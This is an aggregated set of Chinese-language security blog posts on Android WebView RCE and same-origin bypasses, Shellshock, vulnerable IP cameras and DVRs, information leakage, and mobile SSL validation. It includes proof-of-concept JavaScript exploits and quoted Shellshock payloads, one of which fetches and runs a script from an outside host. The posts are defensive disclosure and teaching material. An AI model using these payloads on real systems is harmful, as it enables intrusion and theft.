Aggregator

Android WebView 為你的使用者打開了漏洞之門你知道嗎？

DEVCORE 戴夫寇爾
10 years ago

為了解決在應用程式中顯示網頁的需求，開發者一般會使用到由系統提供的 WebView 元件。而由於 JavaScript 被廣泛應用在網頁上，開發者通常也會把 WebView 處理 JavaScript 的功能打開，好讓大部分網頁能正常運作。但就在開啟這個像是必不可少的 JavaScript 功能時，背後一些由於系統漏洞而引發出來意想不到的風險卻有機會由此而生。接下來的部分將把這些漏洞為大家做個整理。

相關漏洞 1. 遠端代碼執行 (Remote Code Execution) 風險：木馬跳板，個資被盜

目前有機會發生 RCE 風險都圍繞在 addJavascriptInterface 這個功能上，該功能原意是為被載入的網頁和原生程式間建立一個”橋樑”，通過預先設定好的介面，讓網頁能呼叫指定的公開函式並取得函式回傳的結果。

class JsObject { public String toString() { return "Hello World"; } } webView.getSettings().setJavaScriptEnabled(true); webView.addJavascriptInterface(new JsObject(), "injectedObject"); webView.loadUrl("http://www.example.com/"); <html> <head>… <script> alert(injectedObject.toString()); // return "Hello World" </script> </head> <body>…</body> </html>

像上面的例子裡，網頁能通過預先設定好的 “injectedObject” 介面，呼叫 “toString” 函式，得到 “Hello World” 這個字串。

其漏洞 CVE-2012-6636 最早在2012年12月被公佈出來，攻擊者有機會利用他通過 Java Reflection API 來執行任意代碼。影響 Android 1.X ~ 4.1。

<script> function execute(cmdArgs) { return injectedObject.getClass().forName("java.lang.Runtime") .getMethod("getRuntime",null) .invoke(null,null).exec(cmdArgs); } execute(["/system/bin/sh","-c","cat vuln >> attacker.txt"]); </script>

其後 Google 在 Android 4.2 開始對 addJavascriptInterface 的使用方式加了限制，使用時需要在 Java 端把可被網頁執行的公開函式透過 @JavascriptInterface 來標註。並奉勸開發者別在 4.1 或之前的系統上使用 addJavascriptInterface。

可是是否開發者只要在受影響的系統上不主動使用 addJavascriptInterface 就能解決問題呢？答案是否定的。

在 Android 3.X ~ 4.1 上，WebView 預設會用 addJavascriptInterface 添加一個叫 “searchBoxJavaBridge_” 的介面。開發者如果沒有注意的話就會同樣會讓使用者陷入風險中。很巧合地，從 Android 3.0 開始 Google 加入了 removeJavascriptInterface 函式讓開發者可以移定指定的介面。所以開發者可以使用該函式在受影響的系統上把 “searchBoxJavaBridge_” 移除。

除了 “searchBoxJavaBridge_” 外，還有兩個介面會在特定情況下被加到 WebView 中。若使用者有在手機上 [系統設定] 裡的 [協助工具]，打開 [服務] 子分類中的任何一個項目，系統就會對其後建立的 WebView 自動加上 “accessibility” 和 “accessibilityTraversal”這兩個介面。這行為在 Android 4.4 由於舊版 WebView 被取代而消失了。

防範

作為開發者

  • 如非需要，關閉 JavaScript 功能 (預設關閉)
  • 可考慮把網頁當作範本儲存在應用內，再用其他途徑載入資料
  • 在有風險的系統中停用 addJavascriptInterface
  • 在有風險的系統中使用 removeJavascriptInterface 移除系統自帶的介面

作為使用者

  • 如非需要，關閉 [不明的來源] 選項 (預設關閉)
  • 使用 Android 4.2 或以上不受影響的系統
  • 勿在受影響的系統上使用機敏服務或儲存機敏資料

2. 繞過同源策略 (Same-Origin Policy bypass) 風險：個資被盜

為防止網頁在載入外部資源時引發安全問題，瀏覽器會實作同源策略以限制程式碼和不同網域資源間的互動。

其中 CVE-2014-6041 漏洞，通過程式在處理 \u0000 (unicode null byte) 時的失誤而繞過了原有的限制。

<html> <head> <title>CVE-2014-6041 UXSS DEMO</title> </head> <body> <iframe name="target_frame" src="http://devco.re/"></iframe> <br /> <input type="button" value="go" onclick="window.open('\u0000javascript:alert(document.domain)', 'target_frame')" /> </body> </html>

如果上面的網頁是放置在與 http://devco.re/ 不同源的地方，正常來說點擊按鈕後會因為 SOP 的關係，該段 JavaScript 無法執行而不會有反應。但在受影響的環境裡則能順利執行並跳出 “devco.re” 這個網域名稱。

上述問題被發現後沒多久，再由相同研究員發現一個早在多年前已經被修正的 WebKit 臭蟲仍然出現在 Android 4.3 及之前的版本上。

<script> window.onload = function() { object = document.createElement("object"); object.setAttribute("data", "http://www.bing.com"); document.body.appendChild(object); object.onload = function() { object.setAttribute("data", "javascript:alert(document.domain)"); object.innerHTML = "foobar"; } } </script>

上述的跨來源操作同樣違反了 SOP，應當被拒絕執行。但他卻能在有風險的 WebView 上被執行，造成風險。

防範

作為開發者

  • 如非需要，關閉 JavaScript 功能 (預設關閉)
  • 可考慮把網頁當作範本儲存在應用內，再用其他途徑載入資料

作為使用者

  • 如非需要，關閉 [不明的來源] 選項 (預設關閉)
  • 使用 Android 4.4 或以上不受影響的系統
結語

談到這裡大家可能會有個疑問，如果應用程式中所載入的遠端網頁網址都是固定，受開發者控制的，應該就會安全沒有風險。還記得在 被忽略的 SSL 處理 裡提及過的中間人攻擊嗎？如果連線過程是採用明文的 HTTP ，或是加密的 HTTPS 但沒落實做好憑證檢查，內容就有機會被攻擊者竊取修改，再結合上面提到的漏洞，對使用者帶來的影響則大大增加。

下面我們製作了一段結合中間人攻擊與 addJavascriptInterface 漏洞，模擬使用者手機被入侵的影片：

從影片的最後可以看到，攻擊者取得存在漏洞的應用程式權限，並取得裡面的機敏資料。

而在繞過同源策略問題上，無論是透過 null byte 或是設定屬性來達到，其實都是屬於存在已久的手法，多年前在別的平台、瀏覽器上就已經發生過，除了編寫上的疏忽外，缺乏一個完整的測試流程去做檢查相信也是其中一個原因。

Android 的生態系統問題，使得大多數的使用者手機未能跟得上系統更新的步驟，讓他們即使知道自己所使用系統存在問題也愛莫能助。

作為開發商，應需要在系統支援度與其相應存在的安全風險中取得平衡，來決定應用程式所支援的最低版本為何。最後作為一個負責任的開發者，應為已被公開的漏洞做好應對措施，避免使用者暴露在風險當中。

參考

Shellshock (Bash CVE-2014-6271) 威脅仍在擴大中，但無需過度恐慌

DEVCORE 戴夫寇爾
10 years 1 month ago

自 9/24 以來，不少資訊圈朋友日以繼夜的忙碌，這都多虧了藏在 Bash 裡 22 年的安全漏洞－Shellshock (Bash CVE-2014-6271)。對於惡意攻擊者而言，這是今年來第二波淘金潮，相較於上次 Heartbleed 駭客們的刮刮樂遊戲需要拼運氣，這次的 Shellshock 只要一發現利用點，就能馬上擁有基本的系統操作權限，也難怪 NVD 給予 Shellshock 最嚴重的 10.0 分影響等級。

Shellshock 受影響的 Bash 版本如下：

  • Bash 4.3 Patch 25 （含）以前版本
  • Bash 4.2 Patch 48 （含）以前版本
  • Bash 4.1 Patch 12 （含）以前版本
  • Bash 4.0 Patch 39 （含）以前版本
  • Bash 3.2 Patch 52 （含）以前版本
  • Bash 3.1 Patch 18 （含）以前版本
  • Bash 3.0 Patch 17 （含）以前版本
  • Bash 2.0.5b Patch 8 （含）以前版本
  • Bash 1.14.7 （含）以前版本

這次的問題出在 bash 對環境變數的解析上。若有辦法在環境變數中塞入惡意的程式碼，並且順利將這些環境變數傳入 bash，bash 就會因解析錯誤而執行惡意指令、和讓攻擊者能直接對系統進行基本的操作。原始碼及更進階的原理請參考這篇。Shellshock 之所以嚴重，一來是因為攻擊語法相當簡單，只需要一行指令，就可以直接對系統進行操作；二來是因為 bash 使用範圍極廣，多款作業系統預設 shell 就是 bash。 常見的作業系統與其預設 shell 整理如下：

作業系統 預設 shell CentOS bash Fedora bash RHEL bash Mac OS X bash Android 早期是 ash, 3.0 開始是 mksh Debian sh (Lenny, 5.0)
dash (Squeeze, 6.0) embedded device 大部分使用 busybox (ash) FreeBSD tcsh Ubuntu dash iOS Jailbreak 後是 bash


我們看到近半數知名的 un*x 系統預設使用 bash，可以推想這次影響範圍有多廣，尤其是許多服務都架構在這之上，若遭受到攻擊，損失的可能是企業的機密資料或客戶資料。至於沒有預設使用 bash 的作業系統，也並不意味著完全沒有風險，例如 Ubuntu 在 DHCP 客戶端使用到 bash ，就仍然會有風險，下面文章中也會提到這樣的狀況。另外，早期新聞中常出現物聯網設備會受此漏洞影響的報導，經過我們實測，物聯網設備為求精簡，大多使用 busybox，而其 shell 為 ash，故大多數設備在這次 Shellshock 威脅中影響不大，不過儘管物聯網設備逃過了這次 Shellshock 事件，有許多設備仍然是赤裸裸的。

常見的 Shellshock 利用方式

Shellshock 漏洞被公布後，惡意攻擊者無不想要透過這個漏洞對伺服器進行遠端攻擊，一些遠端攻擊概念也陸續被證實。最早的公開大量掃描是由 Errata Security 在其部落格公布技術細節，他們在 HTTP 請求表頭中的 Cookie、Host、Referer 中放置惡意語法 () { :; }; ping -c 3 209.126.230.74，並且利用 masscan 對全世界 HTTP 伺服器 (port 80) 進行掃描。因為一般伺服器會將 HTTP 表頭中之內容放入環境變數中，若伺服器首頁入口程式本身是 bash shell script 或者其子程序有呼叫到 bash，就會受到惡意語法的影響，執行 ping -c 3 209.126.230.74 指令。

攻擊使用 CGI 的網頁伺服器

利用同樣的道理，惡意攻擊者開始在 HTTP 表頭中置入惡意的語法，大量去掃描網路上的 CGI 網頁，因為這種網頁常呼叫系統指令，所以成功機率都頗高，攻擊成功的結果如下圖，從這張圖也可了解這個弱點可以簡單地透過一個參數就能直接讓系統執行任意指令。

詳細的實作流程請參考下面影片：

我們團隊也在 CGI 環境下執行幾種程式語言進行測試，發現用到以下 function 時會讀取到環境變數（date 只是範例，可代換為其他系統指令），因此若伺服器在 CGI 環境下使用這些 function，會為伺服器本身帶來嚴重風險。

Language Vulnerable Function Perl exec(“date > /dev/null”);
open(SHELLSHOCK, “| date > /dev/null”);
system(“date > /dev/null;”);
print `date > /dev/null` PHP exec(‘date’);
system(‘date’);
mb_send_mail(); Python os.system(‘date’)
subprocess.call(‘date’, shell=True)
subprocess.Popen(‘date’, shell=True) Ruby `date`
exec ‘date’
system ‘date’


建置惡意 DHCP 伺服器感染連線使用者

同時，有另一批人發現某些作業系統在進行 DHCP 連線時，會將 DHCP 伺服器傳入的一些資訊塞入到環境變數中。於是，若建置一個惡意 DHCP 伺服器，對其連線的使用者就有很高的機會遭受攻擊。我們實際做了實驗攻擊一般使用者，在使用者建立連線的當下放置後門，實驗過程如下影片：


我們也分別測試了在不同作業系統下是否會受到惡意 DHCP 伺服器影響，基本上，常見的 un*x 系統開機後自動連線基本上都會中招。

OS Version Vulnerable CentOS 7.0 YES Debian 7.6 YES Fedora 20 YES Ubuntu 10.04.1 LTS YES Ubuntu 14.04.1 LTS YES Android 4.4.4 NO Apple iOS 7.0.4 NO FreeBSD 10.0 NO Gentoo 20140925 NO (已修復) Linux Mint 17 “Qiana” Cinnamon NO 1 Linux Mint Debian 201403 Cinnamon NO 1 Mac OS X 10.9.5 NO openSUSE 13.2 NO 2 Synology 5.0-4493 update 7 NO (已修復)


繞過 Git/Subversion 伺服器的 shell 限制

Shellshock 也常被利用來繞過伺服器的 shell 限制，最常見的就是 Git 和 Subversion 伺服器： 通常這些伺服器允許透過 SSH 連線，但登入後都對應著受限制的 shell。透過此漏洞，可以繞過 shell 的限制，執行指令如下圖。（註：OS 中 git user 預設 shell 要為 bash 才會受到影響）

一般我們要實作特定使用者登入 ssh 只能做特定的事情，常常會在 sshd_config 設定 ForceCommand，或是在 authorized_keys 設定 command= 如下：

command="[path]/gl-auth-command sitaram",[more options] ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA18S2t...

這次會受到 Shellshock 影響，就是因為這些設定會在使用者透過 ssh 登入時，呼叫 bash 執行，當環境變數被引入，惡意的程式碼就會被執行了。

Shellshock 威脅仍在擴大

目前不管是白帽駭客或是黑帽駭客都還在持續尋找可以利用 Shellshock 的地方，如同前面所述，找到可以寫入環境變數的地方，並且順利傳入 bash 執行，就可以利用該弱點來執行更進一步的攻擊。

從 Shellshock 爆發至今，陸陸續續傳出了很多公司的產品受到此弱點影響，整理在此，也有一些 POC 整理在這裡。 其中不乏出現一些常用知名套件如：OpenVPN、Pure-FTPd，而且持續更新中。

現在針對 HTTP 伺服器的攻擊還是佔多數，截至目前為止我們仍持續發現網路上有各種掃描樣本，例如：

  • () { :;}; /bin/bash -c "echo testing9123123"; /bin/uname -a
  • () { :;}; /bin/bash -c "wget -P /var/tmp 174.143.2XX.XX/…/x ; perl /var/tmp/x"
  • () { :;};echo vOLniO4dcLqW2I3MnIVpSfk8bmzyxXaIF$(echo vOLniO4dcLqW2I3MnIVpSfk8bmzyxXaIF)vOLniO4dcLqW2I3MnIVpSfk8bmzyxXaIF

除了這些陸續針對 HTTP 伺服器的案例，我們認為，一些公司購入的網路設備是 Shellshock 潛在高危險群，那些買來就擺在旁邊維運的設備，一來容易被忽略，二來是其更新不易，三來這些設備常使用到 bash，因此仍是現在惡意攻擊者專注研究的目標，請大家特別小心。

結論：無需過度恐慌，但別掉以輕心

「只要有 bash 的系統全部都是受駭範圍！」

不少朋友看到最近 Shellshock 的新聞報導，都十分緊張。儘管各位所使用的 bash 是含有漏洞的版本，但要成功執行攻擊手法需要許多條件，被攻擊者從遠端攻擊的機率偏低，因此大家不需要太過恐慌，只要注意以下設備或伺服器：

  • 特定 Linux 版本，並且使用 DHCP 連線
  • 網路、資安設備
  • 使用 CGI 的網站伺服器
  • 已經公布含有弱點的套件

那我們該怎麼自保呢？在攻擊手法不斷精進之下，只過濾 CVE-2014-6271 的攻擊字串並沒有辦法完全阻擋攻擊。建議可以先將伺服器的 bash 升級至最新版本，並持續關注後續更新訊息（目前持續有繞過檢查的新 CVE 弱點發佈），使用 CGI 之伺服器搭配 iptables、IDS、Mod Security 等機制偵測攻擊特徵並將其阻擋。若有設備在這次的影響範圍，也記得向原廠索取更新程式。

題外話

有人說：「Linux 在 2014 年接連出包，真是一個不安全的作業系統！反觀 Windows 在這幾次都毫無影響，企業應該要全面改用 Microsoft Solution！」，但這真的是正確的想法嗎？其實一個 OpenSource 的系統、軟體，可以藉由社群的力量檢視原始碼的問題，集合眾人的力量讓系統變得更加安全。因此有被揭露出漏洞，對於一個系統來說是好事。而非 OpenSource 的系統，就只能仰賴原廠自己的資安團隊進行研究，或者是外部資安人員的發掘了。選擇作業系統的原則，最好依照系統的功能需求、產品定位、安全漏洞的修補速度等層面，才能夠選用真正符合自己需要的系統。

註解

  1. 若手動執行 dhclient，則會遭到漏洞影響。 ↩ ↩2

  2. 系統環境變數會受到影響，但無法被攻擊者利用。 ↩

網路攝影機、DVR、NVR 的資安議題 - 你知道我在看你嗎？

DEVCORE 戴夫寇爾
10 years 1 month ago

網路攝影機的普及率在近幾年來持續攀升，除了老人與幼兒居家照護、企業室內監控等需求迅速增加之外，結合手機應用程式讓人可隨時隨地觀看影像的方便性也成為普及的原因。當大家還以為黑帽駭客的目標仍然是網站、個人電腦時，已經有許多攻擊者悄悄地將目標轉向了各種物連網設備，例如 NAS、Wireless AP、Printer 等產品，而擁有眾多用戶的網路攝影機理所當然地也是目標之一。身為安控產品，卻造成一項資安的隱憂，是不是有點諷刺呢？

恰好最近幾天忽然看到有新聞報導「家用監視器遭駭客入侵 隱私全被看光光」這樣子的案例，而在去年也有類似的報導「數十萬支監控攝影機潛藏被駭漏洞 電影情景恐真實上演」，讓我們不禁想對這個事件做個深入的調查。就讓我們來看看網路攝影機以及相關產品究竟有哪些風險吧！

CVE

我們先來看看幾個大廠在 2013 年到 2014 年之間有哪些已經被公開揭露的 CVE 弱點：

  • AVTECH: 3, CVE-2013-4980, CVE-2013-4981, CVE-2013-4982
  • AXIS: 2, CVE-2013-3543, CVE-2011-5261
  • Hikvision: 3, CVE-2013-4975, CVE-2013-4976, CVE-2013-4977
  • SONY: 1, CVE-2013-3539
  • Vivotek: 6, CVE-2013-1594, CVE-2013-1595, CVE-2013-1596, CVE-2013-1597, CVE-2013-1598, CVE-2013-4985

讀者們若進一步去看各個 CVE 的詳細資料，會發現有許多弱點都是屬於可執行任意指令的嚴重漏洞，其影響程度非常高，已不只是關於攝影內容是否被竊取，更有可能被利用此類設備進一步攻擊其他內、外網機器。

台灣現況

雖然上面提到許多知名廠牌的嚴重漏洞，但是每個國家使用的安控設備不見得都是上述幾個牌子，而身為資安業者，隨時關注自己國家的網路現況也是很合理的事情～在我們的大量觀測下，發現有許多 IP Camera、DVR (Digital Video Recoder)、NVR (Network Video Recoder) 都存在資安議題，我們從其中提出幾個有趣的案例跟各位分享一下：

  • 某國外 V 牌廠商 （數量：320+）

    一般的產品通常都會有預設帳號密碼，但這間廠商的產品似乎沒有預設帳號密碼，若使用者未設定帳號密碼，攻擊者只要直接點「OK」按鈕就可以登入系統，而這樣子的 DVR 在台灣有三百多台，也就是有三百多台 DVR 在網路上裸奔…

  • 某國外 H 牌廠商 （數量：1200+）

    有些廠商為了方便維修或者其他理由，會在 NVR 上開啟了 Telnet 服務，雖然增加了被攻擊的機率，但是若密碼強度足夠且沒有外流，也不會隨便被打進去。而這間廠商非常有趣，除了 root 帳號之外還有一組 guest 帳號，並且 guest 的密碼非常簡單，加上當初建置系統時並未檢查機敏檔案的權限是否設定錯誤，導致攻擊者可先用 guest 帳號登入，再去 /etc/shadow 讀取 root 密碼加以破解，進一步取得設備所有權限。

  • 某國外 D 牌廠商 （數量：700+）

    這個案例實在是令人哭笑不得，不知道是原廠還是台灣代理商非常好心地幫使用者建立了多組預設帳號，包含 admin、666666、888888 等等，而且密碼也設定得很簡單。但是通常要使用者記得改一組預設密碼已經非常困難，更何況是要使用者改三組密碼呢？這種情形導致攻擊者可以輕而易舉地拿著弱密碼到處猜，大大提高了用戶的受害機率。而更有趣的是，不知道是基於歷史包袱或者其他原因，此設備開了特殊的 port，直接送出含有特定內容的封包到這個 port 就可以執行相對應的指令，例如可以取得帳號密碼、使用者 email 等等，而在這個過程中完全沒有任何認證機制！等於又有七百多台 NVR 在網路上裸奔…

  • 某國內 A 牌廠商 （數量：1000+）

    這間廠商也是使用常見的預設帳號密碼，但它可怕的地方還不止於此。該系統將帳號密碼轉為 Base64 編碼後直接當作 cookie 內容，因此若預設帳號密碼分別是 abc 與 123，將 abc:123 用 Base64 編碼過後可得到 YWJjOjEyMw==，接著將 Cookie: SSID=YWJjOjEyMw== 這串內容加到 request 的 HTTP header 中，就可以到處測試該設備是否使用預設帳號密碼，甚至還可以進一步下載備份檔，察看使用者有無填寫 email、網路帳號密碼等資料。

  • 某國內 A 牌廠商（數量：10+）

    這個案例雖然數量非常少，但是卻非常嚴重。為什麼呢？因為廠商沒有對機敏資料做嚴格的權限控管，只要攻擊者直接在網址列輸入 http://IP/sys.bin，就可以直接下載一個名為 sys.bin 的檔案，而此檔案是 tgz 格式，解壓縮後可以得到 system_server.conf，該檔案中含有帳號、密碼，因此即便使用者修改了預設帳號密碼，也會因為這個嚴重漏洞而輕易地被入侵。

  • XXXX科技 （數量：230+）

    這是一個非常經典的案例！一般攻擊者入侵攝影機最常見的就是為了偷看攝影機畫面，再進階一點的可能會控制該攝影機進一步攻擊內網。而這家廠商身為知名保全公司投資成立的安控公司，理當為客戶的監控畫面做最周全的規劃、最謹慎的防護，但是結果呢？報告各位，完全沒有任何防護！只要連到 IP 位址就可以直接看到攝影機畫面，也是屬於裸奔一族…

從這幾個案例我們可以發現台灣目前至少有 3500 台左右的安控設備處於高風險狀態中，而由於我們無暇對每一款設備進行調查，因此這僅僅是一個概略的調查結果。同時這些設備都是在網路上可直接連線的，若再加上各個公家機關、辦公大樓、社區的內網安控設備，恐怕會有更驚人的發現。

問題起源

究竟為什麼會有這麼多安控設備被入侵呢？其實主要有兩個面向。第一個是由於許多廠商的防範觀念仍停留在舊時代，不了解駭客到底都怎麼攻擊，因此也不了解確切的防治方法。舉例來說，廠商在網路安控系統的 Web 輸入介面都會設定許多阻擋規則，以防範入侵者輸入惡意攻擊指令，但是這些防治手段都僅僅做在 client 端（用 JavaScript 來防護），入侵者只要利用 proxy 工具或自行寫程式發送客製化 request 就可以繞過那些驗證，若廠商沒有在 server 端再次進行驗證輸入資料是否異常，就有很高的機會被入侵成功。

另一方面則是入侵者的攻擊手法千變萬化，難以保證不會有新的 0-Day 弱點出現。例如今年一月份大量爆發的 NTP 弱點 CVE-2013-5211 就存在於上述六個案例其中之一，我想廠商應該不會有意願針對舊產品修復此類漏洞，也就是未來隨時有幾百台的攝影機可被惡意人士用來執行 DDoS 攻擊。另外今年四月份的 OpenSSL Heartbleed 弱點更是一個具有代表性的重要案例，我想這應該是許多安控設備廠商都會使用的程式。當廠商將此類程式納入網路安控設備中，於弱點被揭露時若無法及時有效修補，或是修補的成本太高導致用戶不願意修補、沒有能力修補，就有可能釀成重大災情，不但造成用戶損失，也嚴重影響商譽。

廠商該如何因應？

針對此類資安問題，大型硬體廠商應該落實以下幾個動作：

  • 改善資安問題更新流程：將產品的資安更新改變成主動通知使用者，而非需要使用者主動到官網看才知道更新，以縮短使用者更新的平均週期，確保使用者的軟體是最新無風險版本。
  • 成立專門資安小組：請專人負責檢驗產品的資安品質與修正資安弱點，以便因應臨時爆發的重大弱點，維持產品的資安品質。
  • 黑箱滲透測試：於產品出廠前執行黑箱滲透測試，讓滲透測試專家從黑帽駭客的角度來檢查產品有無漏洞。
  • 白箱原始碼檢測：定期執行原始碼檢測，從產品的根本處著手改善，降低產品上市後才被發現弱點的機率。
  • 資安教育訓練：請有實際攻防經驗的資安專家給予開發人員正確的資安觀念，了解最新的攻擊手法與有效防禦之道。
  • 定期檢閱產品所使用的第三方軟體套件是否有弱點，例如 OpenSSL，以避免把有問題的版本納入產品，造成產品間接產生弱點，因而遭到入侵。
  • 定時於網路上收集產品的相關弱點資料，例如 Secunia、SecurityFocus、Packet Storm 等網站都是很好的資訊來源。
一般使用者、企業該如何亡羊補牢？

目前的網路安控系統使用者仍未有足夠的資安意識，主要現象有以下幾點：

  • 使用弱密碼
  • 未進行適當的權限劃分與管理
  • 容易開啓攻擊者寄送的惡意連結，導致被 XSS、CSRF 等手法攻擊
  • 未限制連入 IP 位址，導致安控系統可從外網任意存取

然而，無論是安控系統或其他任何連網設備，未來都有可能成為潛在的攻擊目標，而且在廠商提供更新檔之前其實也很難確實地自保，因此了解資安知識與常見的攻擊手法是有其必要的。基本的防範之道如下：

  • 使用強密碼，包含大小寫英文、數字、特殊符號，並且定期更換密碼
  • 勿在系統建立太多不必要的使用者帳號、將多餘的帳號移除，以降低帳號被盜的機率。若需要建立多組帳號，請仔細給予適當的權限
  • 勿隨意開啟可疑信件附帶的連結或檔案，以避免被攻擊者以 XSS、CSRF 等手法攻擊
  • 限制可存取資訊系統的 IP 位址，避免資訊系統成為公開的攻擊目標
  • 定期檢查 log，確認有無異常登入、異常操作甚至是異常帳號等資訊
結論

在物連網的時代中，各種可進行無線通訊的設備被攻擊的事件屢見不鮮，例如 2011 年知名駭客 Jay Radcliffe 在 Black Hat 展示如何攻擊胰島素注射器，2013 年已故駭客 Barnaby Jack 原本要在 Black Hat 展示如何利用藍芽通訊控制心律調整器，甚至 2014 年甫推出的可遠程變換顏色燈泡也被揭露有資安問題。在不久的未來，這些資安問題只會更多，身為民眾、企業、廠商的你，準備好面對萬物皆可駭的物連網時代了嗎？

被遺忘的資訊洩漏－重點回顧

DEVCORE 戴夫寇爾
10 years 2 months ago
前言

在今年駭客年會企業場，我們分享了一場『被遺忘的資訊洩漏』。資訊洩漏是十幾年前就被一提再提的議題，在資訊安全領域中也是最最最基本該注意的事情，然而至今很多網站都還是忽略它，甚至連一些熱門網站都仍有資訊洩漏問題。議程中我們舉了大量的例子證明資訊洩漏其實可以很嚴重，希望能幫大家複習一下，如果網站沒有注意這些，會造成什麼樣的後果。議程投影片如下所示，就讓我們來總結一下吧！


DEVCORE 常利用的資訊洩漏

首先我們從過往滲透測試經驗中挑選了幾個常見的資訊洩漏問題，分別如下：

  • 管理介面洩漏 (p8-p19)
  • 目錄(Index of)洩漏 (p20-p28)
  • 錯誤訊息洩漏 (p29-p35)
  • 暫存、測試資訊 (p36-p46)
  • 版本控管 (p47-p55)
  • DNS 資訊洩漏 (p56-p63)

以上種種不同洩漏方式，可能會洩漏出系統環境資訊、程式碼內容、含有帳號密碼的設定檔等。透過這些資訊，駭客就能組織出一個有效的攻擊行動。我們甚至在過往的經驗中，只透過目標的資訊洩漏，就直接取得資料庫操作權限(詳見投影片 p65-p71)。

為了解目前一些熱門網站是否重視這些最基本的保護，我們實際對 alexa 台灣前 525 名的網站進行資訊洩漏的調查。

在管理介面和測試頁面洩漏的項目，我們用很保守的方式測試根目錄下是否存有 phpmyadmin 和 phpinfo 頁面，結果分別有 7% 和 9% 的網站有這樣的問題。這樣的結果非常令人訝異，畢竟受測網站都是知名且有技術力的網站，而且並非所有網站都使用 php 開發，再加上我們只是測試預設的命名，實際洩漏的情況會更多！

另一個值得一提的是版本控管洩漏問題，我們同樣保守的只針對版本控管軟體中 GIT 和 SVN 兩項進行調查。結果竟然有 10% 的網站有這樣的問題。這個現象非常嚴重！這個現象非常嚴重！這個現象非常嚴重！這個洩漏有機會能還原整個服務的原始碼，被攻擊成功的機率相當高！台灣熱門的網站裡，十個裡面就有一個存有這樣的問題，非常危險，煩請看到這篇文章的朋友能去注意貴公司的網站是否存在這樣的問題。

大數據資料蒐集

在這場議程中，我們還提到了另一個層次的資訊洩漏議題：當全世界主機的服務及版本資訊全部都被收集起來，會發生什麼樣的事情？

駭客擁有這樣的資料，就能夠在非常短暫的時間內篩選出有問題的主機，進行大量的入侵。我們利用類似的技術針對台灣主機快速的進行掃描，就發現了台灣有 61414 台主機可以被利用來做 DNS Amplification DDoS 攻擊、1003 台主機可以被利用來做 NTP Amplification DDoS 攻擊。也就是說，駭客可以在短時間內組織一支六萬多人的台灣大軍，可以針對他想要攻擊的目標進行攻擊。

利用相同的技術，我們也順便檢驗了前陣子非常熱門的 OpenSSL Heartbleed 問題。OpenSSL Heartbleed 被稱之為『近十年網路最嚴重的安全漏洞』，其嚴重程度可以想見，然而根據我們的觀察，台灣至今仍有 1480 台 HTTP 伺服器尚未修復，而台灣前 525 大熱門網站中，也有 21 個(4%)網站未修復。足見台灣網站對於資安的意識仍然不夠。

對於這樣海量收集資料衍生的資安議題，我們認為最大的受害者，是物聯網的使用者！就我們的觀察，物聯網的設備通常安全防護不佳，容易遭受到駭客攻擊，前陣子 HP 也出了一份報告指出，物聯網的設備有七成存在弱點，而且每台設備平均有 25 個弱點。除此之外，物聯網的設備不易更新，少有人會定期更新，更導致物聯網設備可以被大範圍的攻擊，進而滲透家用網路，危害使用者居家隱私。這是個未來需要持續關注的重要議題。

最後，我們用最近 SynoLocker 的案例為大數據資料蒐集作結，SynoLocker 是一款針對 Synology 的勒索軟體，去年底 Synology 官方已經推出新版修正問題，本月 SynoLocker 擴散至全世界，新聞一再強調需要更新 NAS，但我們針對台灣 1812 台對外開放的 Synology NAS 做統計，至今仍發現有 64％ 的使用者沒有更新，也就是這些 NAS 仍暴露在 SynoLocker 的風險中。這件事情又再次證明駭客有能力在短時間利用大數據資料找到攻擊目標，也順帶說明了台灣資安意識普遍不足的問題。

結論

在這次議題我們關注了很古老的資訊洩漏問題，並且發現目前台灣一些熱門網站仍然存在這樣的問題。資訊洩漏也許不是一件很嚴重的事情，但往往能激起駭客高漲的情緒，駭客會認為一個網站連最最最基本的資料保護都沒有做到，一定會存在其他資安問題，進而進行更大量的攻擊行為。而事實上，我們也從實例證明了其實資訊洩漏可以很嚴重，希望網站提供者能夠注重這個簡單可解決且重要的議題。

我們也提到了駭客透過平常大量的資料收集，在需要的時候能快速找到目標並且大範圍攻擊。這其中又以物聯網的用戶影響最多。面對這樣的議題，我們建議除了適當的隱藏(偽造)主機版本資訊以避免出現 0-Day 時成為首要攻擊目標。我們也提倡要對自己的服務做普查，了解自己到底對外開啟了什麼服務，以及關注自己使用的第三方套件是否有安全更新。

希望明年不需要再有一篇『依舊沒改變的資訊洩漏』！大家快點注意這件簡單的事情吧！

手機應用程式開發上被忽略的 SSL 處理

DEVCORE 戴夫寇爾
10 years 2 months ago

在網路上傳輸敏感資訊時，通常會使用 HTTPS 協定，讓客戶端與伺服器端對資料進行 SSL 加密處理，以降低資料在傳輸過程中被監聽或中間人攻擊的風險。HTTPS 的重要性逐漸被重視，Google 除了預設開啟 HTTPS 之外，未來更會將 HTTPS 的網站搜尋排名加分。但為了確保傳輸的安全，過程中客戶端會核對伺服器的憑證鏈 (certificate chain) 是否有效，若判定為無效時會作出警告。(詳見Wikipedia)

而在手機應用程式上 HTTPS 同樣重要，例如網路銀行、線上購物等。系統同樣會做憑證核對，但對被判定為無效的憑證就需要開發者作出額外的處理了。許多手機應用程式開發商在這個部分並沒有妥善處理好，以下我們就幾個常見的成因做基本的探討。

會被系統判定為無效的常見成因？

在探討該如何處理這個問題之前，這裡先列出一些有可能被系統判定成無效憑證的成因。

1. 系統支援問題 1

在 Android 2.2 及之前的版本，對 SSL 的支援上存在著一些問題，像是 SNI 和 Multiple Chain。而 Android 上不接受缺少中繼 CA 憑證的憑證鏈，例如：https://egov.uscis.gov/

2. 相關憑證未被預載到系統中

以 GCA 簽發的 SSL 憑證為例，在 Windows 上被判定為有效，但在 iOS 系統上卻因為 CA 不在系統的預載清單中而被判定為無效。

3. 使用自行簽發的憑證

這種情況常出現在應用程式開發階段的內部測試環境中，由於是內部測試環境一般都不會花錢去申請憑證。

4. 連線被中間人(MITM)攻擊

當連線被 MITM 攻擊時，使用者原本的連線目的地會被導到攻擊者的設備上，此時伺服器憑證也會被取代成攻擊者自行簽發的憑證，造成原本正常的連線出現異常。

開發者該如何處理？

理想情況下，客戶端的支援度充足，伺服器憑證鏈的來源及設定正確，只需使用系統原有的方式去檢查憑證即可達到安全效果。但若非得要相容低版本系統或是自行簽發憑證的時候，就得自行做額外的檢查。

在處理方式上，普遍是使用憑證綁定 (certificate pinning) 的方式，把需要比對的憑證預先存放在應用程式裡，待要進行 SSL Handshake 的時候再與伺服器的憑證做比對。

